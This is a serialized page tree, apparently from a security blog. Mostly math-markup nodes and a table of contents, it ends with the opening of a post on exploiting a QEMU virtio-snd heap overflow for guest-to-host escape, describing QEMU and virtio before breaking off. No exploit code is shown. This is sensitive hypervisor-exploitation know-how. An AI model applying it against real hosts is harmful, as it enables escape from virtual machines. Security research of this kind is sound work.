"type":25,"tag":271,"props":134953,"children":134955},{"className":134954},[437],[134956],{"type":30,"value":5630},{"type":25,"tag":271,"props":134958,"children":134960},{"className":134959,"style":2066},[337],[],{"type":25,"tag":271,"props":134962,"children":134964},{"className":134963},[2071],[134965],{"type":30,"value":3585},{"type":25,"tag":271,"props":134967,"children":134969},{"className":134968,"style":2066},[337],[],{"type":25,"tag":271,"props":134971,"children":134973},{"className":134972},[285],[134974,134978,134987,134992,134997,135002,135006,135063,135068,135072,135077],{"type":25,"tag":271,"props":134975,"children":134977},{"className":134976,"style":14774},[290],[],{"type":25,"tag":271,"props":134979,"children":134981},{"className":134980},[296,30],[134982],{"type":25,"tag":271,"props":134983,"children":134985},{"className":134984},[296],[134986],{"type":30,"value":4916},{"type":25,"tag":271,"props":134988,"children":134990},{"className":134989},[391],[134991],{"type":30,"value":394},{"type":25,"tag":271,"props":134993,"children":134995},{"className":134994},[296,297],[134996],{"type":30,"value":2508},{"type":25,"tag":271,"props":134998,"children":135000},{"className":134999},[404],[135001],{"type":30,"value":407},{"type":25,"tag":271,"props":135003,"children":135005},{"className":135004,"style":411},[337],[],{"type":25,"tag":271,"props":135007,"children":135009},{"className":135008},[296],[135010,135015],{"type":25,"tag":271,"props":135011,"children":135013},{"className":135012,"style":2296},[296,297],[135014],{"type":30,"value":2299},{"type":25,"tag":271,"props":135016,"children":135018},{"className":135017},[982],[135019],{"type":25,"tag":271,"props":135020,"children":135022},{"className":135021},[987,1100],[135023,135052],{"type":25,"tag":271,"props":135024,"children":135026},{"className":135025},[992],[135027,135047],{"type":25,"tag":271,"props":135028,"children":135030},{"className":135029,"style":1918},[997],[135031],{"type":25,"tag":271,"props":135032,"children":135033},{"style":2318},[135034,135038],{"type":25,"tag":271,"props":135035,"children":135037},{"className":135036,"style":1008},[1007],[],{"type":25,"tag":271,"props":135039,"children":135041},{"className":135040},[1013,1014,1015,1016],[135042],{"type":25,"tag":271,"props":135043,"children":135045},{"className":135044,"style":6560},[296,297,1016],[135046],{"type":30,"value":6563},{"type":25,"tag":271,"props":135048,"children":135050},{"className":135049},[1177],[135051],{"type":30,"value":1180},{"type":25,"tag":271,"props":135053,"children":135055},{"className":135054},[992],[135056],{"type":25,"tag":271,"props":135057,"children":135059},{"className":135058,"style":11265},[997],[135060],{"type":25,"tag":271,"props":135061,"children":135062},{},[],{"type":25,"tag":271,"props":135064,"children":135066},{"className":135065},[437],[135067],{"type":30,"value":440},{"type":25,"tag":271,"props":135069,"children":135071},{"className":135070,"style":2066},[337],[],{"type":25,"tag":271,"props":135073,"children":135075},{"className":135074},[2071],[135076],{"type":30,"value":3585},{"type":25,"tag":271,"props":135078,"children":135080},{"className":135079,"style":2066},[337],[],{"type":25,"tag":271,"props":135082,"children":135084},{"className":135083},[285],[135085,135089,135098,135103,135108,135113,135117,135126,135131,135140,135145,135154],{"type":25,"tag":271,"props":135086,"children":135088},{"className":135087,"style":7026},[290],[],{"type":25,"tag":271,"props":135090,"children":135092},{"className":135091},[296,30],[135093],{"type":25,"tag":271,"props":135094,"children":135096},{"className":135095},[296],[135097],{"type":30,"value":4916},{"type":25,"tag":271,"props":135099,"children":135101},{"className":135100},[391],[135102],{"type":30,"value":394},{"type":25,"tag":271,"props":135104,"children":135106},{"className":135105,"style":14678},[296,297],[135107],{"type":30,"value":11188},{"type":25,"tag":271,"props":135109,"children":135111},{"className":135110},[404],[135112],{"type":30,"value":407},{"type":25,"tag":271,"props":135114,"children":135116},{"className":135115,"style":411},[337],[],{"type":25,"tag":271,"props":135118,"children":135120},{"className":135119},[296,30],[135121],{"type":25,"tag":271,"props":135122,"children":135124},{"className":135123},[296],[135125],{"type":30,"value":14924},{"type":25,"tag":271,"props":135127,"children":135129},{"className":135128,"style":2296},[296],[135130],{"type":30,"value":6434},{"type":25,"tag":271,"props":135132,"children":135134},{"className":135133},[296,30],[135135],{"type":25,"tag":271,"props":135136,"children":135138},{"className":135137},[296],[135139],{"type":30,"value":8917},{"type":25,"tag":271,"props":135141,"children":135143},{"className":135142,"style":2296},[296],[135144],{"type":30,"value":6434},{"type":25,"tag":271,"props":135146,"children":135148},{"className":135147},[296,30],[135149],{"type":25,"tag":271,"props":135150,"children":135152},{"className":135151},[296],[135153],{"type":30,"value":10135},{"type":25,"tag":271,"props":135155,"children":135157},{"className":135156},[437],[135158],{"type":30,"value":440},{"type":25,"tag":26,"props":135160,"children":135161},{},[135162,135163,135168,135169,135238],{"type":30,"value":14962},{"type":25,"tag":264,"props":135164,"children":135166},{"className":135165},[],[135167],{"type":30,"value":10331},{"type":30,"value":14969},{"type":25,"tag":264,"props":135170,"children":135172},{"className":135171},[267,268],[135173],{"type":25,"tag":271,"props":135174,"children":135176},{"className":135175},[274],[135177],{"type":25,"tag":271,"props":135178,"children":135180},{"className":135179,"ariaHidden":280},[279],[135181],{"type":25,"tag":271,"props":135182,"children":135184},{"className":135183},[285],[135185,135189],{"type":25,"tag":271,"props":135186,"children":135188},{"className":135187,"style":14989},[290],[],{"type":25,"tag":271,"props":135190,"children":135192},{"className":135191},[296],[135193,135202],{"type":25,"tag":271,"props":135194,"children":135196},{"className":135195},[296,30],[135197],{"type":25,"tag":271,"props":135198,"children":135200},{"className":135199},[296],[135201],{"type":30,"value":10331},{"type":25,"tag":271,"props":135203,"children":135205},{"className":135204},[982],[135206],{"type":25,"tag":271,"props":135207,"children":135209},{"className":135208},[987],[135210],{"type":25,"tag":271,"props":135211,"children":135213},{"className":135212},[992],[135214],{"type":25,"tag":271,"props":135215,"children":135217},{"className":135216,"style":15019},[997],[135218],{"type":25,"tag":271,"props":135219,"children":135220},{"style":15023},[135221,135225],{"type":25,"tag":271,"props":135222,"children":135224},{"className":135223,"style":1008},[1007],[],{"type":25,"tag":271,"props":135226,"children":135228},{"className":135227},[1013,1014,1015,1016],[135229],{"type":25,"tag":271,"props":135230,"children":135232},{"className":135231},[296,1016],[135233],{"type":25,"tag":271,"props":135234,"children":135236},{"className":135235},[296,1016],[135237],{"type":30,"value":15042},{"type":30,"value":15044},{"type":25,"tag":26,"props":135240,"children":135241},{},[135242,135246,135247],{"type":25,"tag":38,"props":135243,"children":135244},{},[135245],{"type":30,"value":9059},{"type":30,"value":15053},{"type":25,"tag":83,"props":135248,"children":135250},{"href":15056,"rel":135249},[9066],[135251],{"type":30,"value":15060},{"type":25,"tag":92,"props":135253,"children":135254},{},[],{"type":25,"tag":96,"props":135256,"children":135257},{"id":15066},[135258],{"type":30,"value":15069},{"type":25,"tag":26,"props":135260,"children":135261},{},[135262],{"type":30,"value":15074},{"type":25,"tag":247,"props":135264,"children":135265},{"id":15077},[135266],{"type":30,"value":15080},{"type":25,"tag":26,"props":135268,"children":135269},{},[135270,135271,135275,135276,135301,135302,135305,135306,135331,135332,135357],{"type":30,"value":15085},{"type":25,"tag":10281,"props":135272,"children":135273},{},[135274],{"type":30,"value":15090},{"type":30,"value":15092},{"type":25,"tag":264,"props":135277,"children":135279},{"className":135278},[267,268],[135280],{"type":25,"tag":271,"props":135281,"children":135283},{"className":135282},[274],[135284],{"type":25,"tag":271,"props":135285,"children":135287},{"className":135286,"ariaHidden":280},[279],[135288],{"type":25,"tag":271,"props":135289,"children":135291},{"className":135290},[285],[135292,135296],{"type":25,"tag":271,"props":135293,"children":135295},{"className":135294,"style":291},[290],[],{"type":25,"tag":271,"props":135297,"children":135299},{"className":135298,"style":8574},[296,297],[135300],{"type":30,"value":8577},{"type":30,"value":15119},{"type":25,"tag":14098,"props":135303,"children":135304},{},[],{"type":30,"value":15124},{"type":25,"tag":264,"props":135307,"children":135309},{"className":135308},[267,268],[135310],{"type":25,"tag":271,"props":135311,"children":135313},{"className":135312},[274],[135314],{"type":25,"tag":271,"props":135315,"children":135317},{"className":135316,"ariaHidden":280},[279],[135318],{"type":25,"tag":271,"props":135319,"children":135321},{"className":135320},[285],[135322,135326],{"type":25,"tag":271,"props":135323,"children":135325},{"className":135324,"style":3164},[290],[],{"type":25,"tag":271,"props":135327,"children":135329},{"className":135328,"style":2296},[296,297],[135330],{"type":30,"value":2299},{"type":30,"value":15151},{"type":25,"tag":264,"props":135333,"children":135335},{"className":135334},[267,268],[135336],{"type":25,"tag":271,"props":135337,"children":135339},{"className":135338},[274],[135340],{"type":25,"tag":271,"props":135341,"children":135343},{"className":135342,"ariaHidden":280},[279],[135344],{"type":25,"tag":271,"props":135345,"children":135347},{"className":135346},[285],[135348,135352],{"type":25,"tag":271,"props":135349,"children":135351},{"className":135350,"style":291},[290],[],{"type":25,"tag":271,"props":135353,"children":135355},{"className":135354,"style":15175},[296,297],[135356],{"type":30,"value":15178},{"type":30,"value":15180},{"type":25,"tag":26,"props":135359,"children":135360},{},[135361,135362,135387,135388,135413],{"type":30,"value":15185},{"type":25,"tag":264,"props":135363,"children":135365},{"className":135364},[267,268],[135366],{"type":25,"tag":271,"props":135367,"children":135369},{"className":135368},[274],[135370],{"type":25,"tag":271,"props":135371,"children":135373},{"className":135372,"ariaHidden":280},[279],[135374],{"type":25,"tag":271,"props":135375,"children":135377},{"className":135376},[285],[135378,135382],{"type":25,"tag":271,"props":135379,"children":135381},{"className":135380,"style":291},[290],[],{"type":25,"tag":271,"props":135383,"children":135385},{"className":135384,"style":8574},[296,297],[135386],{"type":30,"value":8577},{"type":30,"value":15212},{"type":25,"tag":264,"props":135389,"children":135391},{"className":135390},[267,268],[135392],{"type":25,"tag":271,"props":135393,"children":135395},{"className":135394},[274],[135396],{"type":25,"tag":271,"props":135397,"children":135399},{"className":135398,"ariaHidden":280},[279],[135400],{"type":25,"tag":271,"props":135401,"children":135403},{"className":135402},[285],[135404,135408],{"type":25,"tag":271,"props":135405,"children":135407},{"className":135406,"style":3164},[290],[],{"type":25,"tag":271,"props":135409,"children":135411},{"className":135410,"style":2296},[296,297],[135412],{"type":30,"value":2299},{"type":30,"value":15239},{"type":25,"tag":26,"props":135415,"children":135416},{},[135417],{"type":30,"value":15244},{"type":25,"tag":247,"props":135419,"children":135420},{"id":15247},[135421],{"type":30,"value":15250},{"type":25,"tag":26,"props":135423,"children":135424},{},[135425],{"type":30,"value":15255},{"type":25,"tag":26,"props":135427,"children":135428},{},[135429],{"type":25,"tag":698,"props":135430,"children":135431},{"alt":15261,"src":15262},[],{"type":25,"tag":26,"props":135433,"children":135434},{},[135435],{"type":30,"value":15268},{"type":25,"tag":247,"props":135437,"children":135438},{"id":15271},[135439],{"type":30,"value":15274},{"type":25,"tag":26,"props":135441,"children":135442},{},[135443],{"type":30,"value":15279},{"type":25,"tag":26,"props":135445,"children":135446},{},[135447],{"type":30,"value":15284},{"type":25,"tag":247,"props":135449,"children":135450},{"id":15287},[135451],{"type":30,"value":15290},{"type":25,"tag":26,"props":135453,"children":135454},{},[135455],{"type":30,"value":15295},{"type":25,"tag":92,"props":135457,"children":135458},{},[],{"type":25,"tag":96,"props":135460,"children":135461},{"id":15301},[135462],{"type":30,"value":15304},{"type":25,"tag":247,"props":135464,"children":135465},{"id":15307},[135466],{"type":30,"value":15310},{"type":25,"tag":26,"props":135468,"children":135469},{},[135470],{"type":30,"value":15315},{"type":25,"tag":26,"props":135472,"children":135473},{},[135474],{"type":30,"value":15320},{"type":25,"tag":26,"props":135476,"children":135477},{},[135478],{"type":30,"value":15325},{"type":25,"tag":26,"props":135480,"children":135481},{},[135482],{"type":30,"value":15330},{"type":25,"tag":26,"props":135484,"children":135485},{},[135486],{"type":30,"value":15335},{"type":25,"tag":92,"props":135488,"children":135489},{},[],{"type":25,"tag":96,"props":135491,"children":135492},{"id":15341},[135493],{"type":30,"value":15344},{"type":25,"tag":15346,"props":135495,"children":135496},{},[135497,135519],{"type":25,"tag":15350,"props":135498,"children":135499},{},[135500],{"type":25,"tag":15354,"props":135501,"children":135502},{},[135503,135507,135511,135515],{"type":25,"tag":15358,"props":135504,"children":135505},{},[135506],{"type":30,"value":15362},{"type":25,"tag":15358,"props":135508,"children":135509},{},[135510],{"type":30,"value":15367},{"type":25,"tag":15358,"props":135512,"children":135513},{},[135514],{"type":30,"value":15372},{"type":25,"tag":15358,"props":135516,"children":135517},{},[135518],{"type":30,"value":15377},{"type":25,"tag":15379,"props":135520,"children":135521},{},[135522,135541,135560,135579,135598,135617],{"type":25,"tag":15354,"props":135523,"children":135524},{},[135525,135529,135533,135537],{"type":25,"tag":15386,"props":135526,"children":135527},{},[135528],{"type":30,"value":42},{"type":25,"tag":15386,"props":135530,"children":135531},{},[135532],{"type":30,"value":15394},{"type":25,"tag":15386,"props":135534,"children":135535},{},[135536],{"type":30,"value":15399},{"type":25,"tag":15386,"props":135538,"children":135539},{},[135540],{"type":30,"value":15404},{"type":25,"tag":15354,"props":135542,"children":135543},{},[135544,135548,135552,135556],{"type":25,"tag":15386,"props":135545,"children":135546},{},[135547],{"type":30,"value":49},{"type":25,"tag":15386,"props":135549,"children":135550},{},[135551],{"type":30,"value":15416},{"type":25,"tag":15386,"props":135553,"children":135554},{},[135555],{"type":30,"value":15421},{"type":25,"tag":15386,"props":135557,"children":135558},{},[135559],{"type":30,"value":15404},{"type":25,"tag":15354,"props":135561,"children":135562},{},[135563,135567,135571,135575],{"type":25,"tag":15386,"props":135564,"children":135565},{},[135566],{"type":30,"value":55},{"type":25,"tag":15386,"props":135568,"children":135569},{},[135570],{"type":30,"value":15416},{"type":25,"tag":15386,"props":135572,"children":135573},{},[135574],{"type":30,"value":15441},{"type":25,"tag":15386,"props":135576,"children":135577},{},[135578],{"type":30,"value":15404},{"type":25,"tag":15354,"props":135580,"children":135581},{},[135582,135586,135590,135594],{"type":25,"tag":15386,"props":135583,"children":135584},{},[135585],{"type":30,"value":61},{"type":25,"tag":15386,"props":135587,"children":135588},{},[135589],{"type":30,"value":15457},{"type":25,"tag":15386,"props":135591,"children":135592},{},[135593],{"type":30,"value":15462},{"type":25,"tag":15386,"props":135595,"children":135596},{},[135597],{"type":30,"value":15467},{"type":25,"tag":15354,"props":135599,"children":135600},{},[135601,135605,135609,135613],{"type":25,"tag":15386,"props":135602,"children":135603},{},[135604],{"type":30,"value":74},{"type":25,"tag":15386,"props":135606,"children":135607},{},[135608],{"type":30,"value":15479},{"type":25,"tag":15386,"props":135610,"children":135611},{},[135612],{"type":30,"value":15484},{"type":25,"tag":15386,"props":135614,"children":135615},{},[135616],{"type":30,"value":15404},{"type":25,"tag":15354,"props":135618,"children":135619},{},[135620,135624,135628,135632],{"type":25,"tag":15386,"props":135621,"children":135622},{},[135623],{"type":30,"value":67},{"type":25,"tag":15386,"props":135625,"children":135626},{},[135627],{"type":30,"value":15457},{"type":25,"tag":15386,"props":135629,"children":135630},{},[135631],{"type":30,"value":15504},{"type":25,"tag":15386,"props":135633,"children":135634},{},[135635],{"type":30,"value":15509},{"type":25,"tag":26,"props":135637,"children":135638},{},[135639],{"type":30,"value":15514},{"type":25,"tag":92,"props":135641,"children":135642},{},[],{"type":25,"tag":96,"props":135644,"children":135645},{"id":15520},[135646],{"type":30,"value":88},{"type":25,"tag":26,"props":135648,"children":135649},{},[135650,135651],{"type":30,"value":15527},{"type":25,"tag":15529,"props":135652,"children":135653},{},[135654],{"type":30,"value":15533},{"type":25,"tag":26,"props":135656,"children":135657},{},[135658,135659,135712,135713,135966],{"type":30,"value":15538},{"type":25,"tag":264,"props":135660,"children":135662},{"className":135661},[267,268],[135663],{"type":25,"tag":271,"props":135664,"children":135666},{"className":135665},[274],[135667],{"type":25,"tag":271,"props":135668,"children":135670},{"className":135669,"ariaHidden":280},[279],[135671],{"type":25,"tag":271,"props":135672,"children":135674},{"className":135673},[285],[135675,135679,135684,135689,135693,135698,135703,135707],{"type":25,"tag":271,"props":135676,"children":135678},{"className":135677,"style":7398},[290],[],{"type":25,"tag":271,"props":135680,"children":135682},{"className":135681},[296,297],[135683],{"type":30,"value":83},{"type":25,"tag":271,"props":135685,"children":135687},{"className":135686},[404],[135688],{"type":30,"value":407},{"type":25,"tag":271,"props":135690,"children":135692},{"className":135691,"style":411},[337],[],{"type":25,"tag":271,"props":135694,"children":135696},{"className":135695},[296,297],[135697],{"type":30,"value":2508},{"type":25,"tag":271,"props":135699,"children":135701},{"className":135700},[404],[135702],{"type":30,"value":407},{"type":25,"tag":271,"props":135704,"children":135706},{"className":135705,"style":411},[337],[],{"type":25,"tag":271,"props":135708,"children":135710},{"className":135709},[296,297],[135711],{"type":30,"value":13243},{"type":30,"value":1970},{"type":25,"tag":264,"props":135714,"children":135716},{"className":135715},[267,268],[135717],{"type":25,"tag":271,"props":135718,"children":135720},{"className":135719},[274],[135721],{"type":25,"tag":271,"props":135722,"children":135724},{"className":135723,"ariaHidden":280},[279],[135725,135787,135849,135953],{"type":25,"tag":271,"props":135726,"children":135728},{"className":135727},[285],[135729,135733,135774,135778,135783],{"type":25,"tag":271,"props":135730,"children":135732},{"className":135731,"style":15612},[290],[],{"type":25,"tag":271,"props":135734,"children":135736},{"className":135735},[296],[135737,135742],{"type":25,"tag":271,"props":135738,"children":135740},{"className":135739},[296,297],[135741],{"type":30,"value":83},{"type":25,"tag":271,"props":135743,"children":135745},{"className":135744},[982],[135746],{"type":25,"tag":271,"props":135747,"children":135749},{"className":135748},[987],[135750],{"type":25,"tag":271,"props":135751,"children":135753},{"className":135752},[992],[135754],{"type":25,"tag":271,"props":135755,"children":135757},{"className":135756,"style":7693},[997],[135758],{"type":25,"tag":271,"props":135759,"children":135760},{"style":1002},[135761,135765],{"type":25,"tag":271,"props":135762,"children":135764},{"className":135763,"style":1008},[1007],[],{"type":25,"tag":271,"props":135766,"children":135768},{"className":135767},[1013,1014,1015,1016],[135769],{"type":25,"tag":271,"props":135770,"children":135772},{"className":135771},[296,1016],[135773],{"type":30,"value":7711},{"type":25,"tag":271,"props":135775,"children":135777},{"className":135776,"style":2066},[337],[],{"type":25,"tag":271,"props":135779,"children":135781},{"className":135780},[2071],[135782],{"type":30,"value":2074},{"type":25,"tag":271,"props":135784,"children":135786},{"className":135785,"style":2066},[337],[],{"type":25,"tag":271,"props":135788,"children":135790},{"className":135789},[285],[135791,135795,135836,135840,135845],{"type":25,"tag":271,"props":135792,"children":135794},{"className":135793,"style":7693},[290],[],{"type":25,"tag":271,"props":135796,"children":135798},{"className":135797},[296],[135799,135804],{"type":25,"tag":271,"props":135800,"children":135802},{"className":135801},[296,297],[135803],{"type":30,"value":2508},{"type":25,"tag":271,"props":135805,"children":135807},{"className":135806},[982],[135808],{"type":25,"tag":271,"props":135809,"children":135811},{"className":135810},[987],[135812],{"type":25,"tag":271,"props":135813,"children":135815},{"className":135814},[992],[135816],{"type":25,"tag":271,"props":135817,"children":135819},{"className":135818,"style":7693},[997],[135820],{"type":25,"tag":271,"props":135821,"children":135822},{"style":1002},[135823,135827],{"type":25,"tag":271,"props":135824,"children":135826},{"className":135825,"style":1008},[1007],[],{"type":25,"tag":271,"props":135828,"children":135830},{"className":135829},[1013,1014,1015,1016],[135831],{"type":25,"tag":271,"props":135832,"children":135834},{"className":135833},[296,1016],[135835],{"type":30,"value":7711},{"type":25,"tag":271,"props":135837,"children":135839},{"className":135838,"style":338},[337],[],{"type":25,"tag":271,"props":135841,"children":135843},{"className":135842},[356],[135844],{"type":30,"value":1065},{"type":25,"tag":271,"props":135846,"children":135848},{"className":135847,"style":338},[337],[],{"type":25,"tag":271,"props":135850,"children":135852},{"className":135851},[285],[135853,135857,135898,135903,135907,135912,135917,135921,135926,135931,135935,135940,135944,135949],{"type":25,"tag":271,"props":135854,"children":135856},{"className":135855,"style":15737},[290],[],{"type":25,"tag":271,"props":135858,"children":135860},{"className":135859},[296],[135861,135866],{"type":25,"tag":271,"props":135862,"children":135864},{"className":135863},[296,297],[135865],{"type":30,"value":13243},{"type":25,"tag":271,"props":135867,"children":135869},{"className":135868},[982],[135870],{"type":25,"tag":271,"props":135871,"children":135873},{"className":135872},[987],[135874],{"type":25,"tag":271,"props":135875,"children":135877},{"className":135876},[992],[135878],{"type":25,"tag":271,"props":135879,"children":135881},{"className":135880,"style":7693},[997],[135882],{"type":25,"tag":271,"props":135883,"children":135884},{"style":1002},[135885,135889],{"type":25,"tag":271,"props":135886,"children":135888},{"className":135887,"style":1008},[1007],[],{"type":25,"tag":271,"props":135890,"children":135892},{"className":135891},[1013,1014,1015,1016],[135893],{"type":25,"tag":271,"props":135894,"children":135896},{"className":135895},[296,1016],[135897],{"type":30,"value":7711},{"type":25,"tag":271,"props":135899,"children":135901},{"className":135900},[404],[135902],{"type":30,"value":407},{"type":25,"tag":271,"props":135904,"children":135906},{"className":135905,"style":411},[337],[],{"type":25,"tag":271,"props":135908,"children":135910},{"className":135909},[296,297],[135911],{"type":30,"value":83},{"type":25,"tag":271,"props":135913,"children":135915},{"className":135914},[404],[135916],{"type":30,"value":407},{"type":25,"tag":271,"props":135918,"children":135920},{"className":135919,"style":411},[337],[],{"type":25,"tag":271,"props":135922,"children":135924},{"className":135923},[296,297],[135925],{"type":30,"value":2508},{"type":25,"tag":271,"props":135927,"children":135929},{"className":135928},[404],[135930],{"type":30,"value":407},{"type":25,"tag":271,"props":135932,"children":135934},{"className":135933,"style":411},[337],[],{"type":25,"tag":271,"props":135936,"children":135938},{"className":135937},[296,297],[135939],{"type":30,"value":13243},{"type":25,"tag":271,"props":135941,"children":135943},{"className":135942,"style":338},[337],[],{"type":25,"tag":271,"props":135945,"children":135947},{"className":135946},[356],[135948],{"type":30,"value":15831},{"type":25,"tag":271,"props":135950,"children":135952},{"className":135951,"style":338},[337],[],{"type":25,"tag":271,"props":135954,"children":135956},{"className":135955},[285],[135957,135961],{"type":25,"tag":271,"props":135958,"children":135960},{"className":135959,"style":3128},[290],[],{"type":25,"tag":271,"props":135962,"children":135964},{"className":135963},[296],[135965],{"type":30,"value":968},{"type":30,"value":15850},{"type":25,"tag":247,"props":135968,"children":135969},{"id":15853},[135970],{"type":30,"value":42},{"type":25,"tag":26,"props":135972,"children":135973},{},[135974,135975,135980,135981],{"type":30,"value":15860},{"type":25,"tag":83,"props":135976,"children":135978},{"href":15863,"target":15864,"rel":135977,"download":15868},[15866,15867],[135979],{"type":30,"value":15871},{"type":30,"value":15873},{"type":25,"tag":264,"props":135982,"children":135984},{"className":135983},[],[135985],{"type":30,"value":15879},{"type":25,"tag":247,"props":135987,"children":135988},{"id":15882},[135989],{"type":30,"value":49},{"type":25,"tag":26,"props":135991,"children":135992},{},[135993,135994,135999,136000],{"type":30,"value":15860},{"type":25,"tag":83,"props":135995,"children":135997},{"href":15891,"target":15864,"rel":135996,"download":15893},[15866,15867],[135998],{"type":30,"value":15871},{"type":30,"value":15873},{"type":25,"tag":264,"props":136001,"children":136003},{"className":136002},[],[136004],{"type":30,"value":15902},{"type":25,"tag":26,"props":136006,"children":136007},{},[136008],{"type":30,"value":15907},{"type":25,"tag":92,"props":136010,"children":136011},{},[],{"type":25,"tag":96,"props":136013,"children":136014},{"id":15913},[136015],{"type":30,"value":15916},{"type":25,"tag":26,"props":136017,"children":136018},{},[136019],{"type":30,"value":15921},{"type":25,"tag":26,"props":136021,"children":136022},{},[136023],{"type":30,"value":15926},{"type":25,"tag":26,"props":136025,"children":136026},{},[136027,136031],{"type":25,"tag":38,"props":136028,"children":136029},{},[136030],{"type":30,"value":15934},{"type":30,"value":15936},{"type":25,"tag":26,"props":136033,"children":136034},{},[136035],{"type":30,"value":15941},{"type":25,"tag":26,"props":136037,"children":136038},{},[136039,136043],{"type":25,"tag":38,"props":136040,"children":136041},{},[136042],{"type":30,"value":15949},{"type":30,"value":15951},{"type":25,"tag":26,"props":136045,"children":136046},{},[136047,136051],{"type":25,"tag":38,"props":136048,"children":136049},{},[136050],{"type":30,"value":15959},{"type":30,"value":15961},{"type":25,"tag":15963,"props":136053,"children":136054},{},[136055],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":136057},[136058,136059,136062,136068,136069,136077,136083,136086,136087,136091],{"id":98,"depth":11641,"text":101},{"id":242,"depth":11641,"text":245,"children":136060},[136061],{"id":249,"depth":14354,"text":252},{"id":713,"depth":11641,"text":716,"children":136063},[136064,136065,136066,136067],{"id":724,"depth":14354,"text":727},{"id":913,"depth":14354,"text":916},{"id":4345,"depth":14354,"text":4348},{"id":5562,"depth":14354,"text":5565},{"id":7214,"depth":11641,"text":7217},{"id":7724,"depth":11641,"text":7727,"children":136070},[136071,136072,136073,136074,136075,136076],{"id":7746,"depth":14354,"text":7749},{"id":9075,"depth":14354,"text":49},{"id":10211,"depth":14354,"text":10214},{"id":10883,"depth":14354,"text":10886},{"id":13545,"depth":14354,"text":13548},{"id":14115,"depth":14354,"text":74},{"id":15066,"depth":11641,"text":15069,"children":136078},[136079,136080,136081,136082],{"id":15077,"depth":14354,"text":15080},{"id":15247,"depth":14354,"text":15250},{"id":15271,"depth":14354,"text":15274},{"id":15287,"depth":14354,"text":15290},{"id":15301,"depth":11641,"text":15304,"children":136084},[136085],{"id":15307,"depth":14354,"text":15310},{"id":15341,"depth":11641,"text":15344},{"id":15520,"depth":11641,"text":88,"children":136088},[136089,136090],{"id":15853,"depth":14354,"text":42},{"id":15882,"depth":14354,"text":49},{"id":15913,"depth":11641,"text":15916},{"_path":136093,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":136094,"description":136095,"date":136096,"author":136097,"image":136098,"isFeatured":18,"onBlogPage":18,"tags":136100,"body":136103,"_type":16004,"_id":144389,"_source":16006,"_file":144390,"_stem":144391,"_extension":16009},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":136099,"width":16,"height":17},"/posts/virtio-snd-qemu-0day/title.png",[136101,136102],"qemu","heap-overflow",{"type":22,"children":136104,"toc":144371},[136105,136110,136115,136120,136126,136131,136136,136144,136150,136162,136166,136171,136179,136184,136190,136195,136208,136818,136853,136898,136932,136967,137102,137150,137156,137161,137917,137962,137998,138033,138098,138118,138568,138615,138618,138623,138688,138714,138736,138740,138745,138750,138756,138761,138766,138771,138777,138790,138796,138801,138809,138879,138884,138890,138903,139129,139192,139211,139594,139599,139632,139637,139913,139925,139943,140222,140234,140237,140272,140277,140283,140295,140307,140312,140317,140327,140362,140979,141011,141022,141058,141071,141077,141089,141097,141123,141128,141161,141202,141208,141227,141265,141273,141322,141327,141376,141381,141389,141476,141482,141521,141533,141541,141559,141578,141586,141598,141606,141625,141633,141644,141652,141663,141671,141684,141692,141698,141703,141716,141724,141742,141750,141762,141767,141775,141811,141844,141851,141885,141893,141898,141904,141916,141927,142206,142266,142334,142342,142376,142980,142991,142999,143005,143010,143021,143775,143808,143820,143906,143926,144135,144182,144194,144200,144219,144245,144273,144289,144316,144319,144339,144353,144357,144362,144367],{"type":25,"tag":26,"props":136106,"children":136107},{},[136108],{"type":30,"value":136109},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":25,"tag":96,"props":136111,"children":136112},{"id":136101},[136113],{"type":30,"value":136114},"QEMU",{"type":25,"tag":26,"props":136116,"children":136117},{},[136118],{"type":30,"value":136119},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":25,"tag":247,"props":136121,"children":136123},{"id":136122},"virtio-devices",[136124],{"type":30,"value":136125},"Virtio Devices",{"type":25,"tag":26,"props":136127,"children":136128},{},[136129],{"type":30,"value":136130},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":25,"tag":26,"props":136132,"children":136133},{},[136134],{"type":30,"value":136135},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":25,"tag":26,"props":136137,"children":136138},{},[136139],{"type":25,"tag":698,"props":136140,"children":136143},{"alt":136141,"src":136142},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":25,"tag":96,"props":136145,"children":136147},{"id":136146},"finding-a-bug",[136148],{"type":30,"value":136149},"Finding a Bug",{"type":25,"tag":26,"props":136151,"children":136152},{},[136153,136155,136161],{"type":30,"value":136154},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":25,"tag":264,"props":136156,"children":136158},{"className":136157},[],[136159],{"type":30,"value":136160},"virtio-snd",{"type":30,"value":1860},{"type":25,"tag":247,"props":136163,"children":136164},{"id":136160},[136165],{"type":30,"value":136160},{"type":25,"tag":26,"props":136167,"children":136168},{},[136169],{"type":30,"value":136170},"From the official documentation:",{"type":25,"tag":16074,"props":136172,"children":136173},{},[136174],{"type":25,"tag":26,"props":136175,"children":136176},{},[136177],{"type":30,"value":136178},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":25,"tag":26,"props":136180,"children":136181},{},[136182],{"type":30,"value":136183},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":25,"tag":2352,"props":136185,"children":136187},{"id":136186},"audio-data-buffers",[136188],{"type":30,"value":136189},"Audio Data Buffers",{"type":25,"tag":26,"props":136191,"children":136192},{},[136193],{"type":30,"value":136194},"This audio data flows through buffers 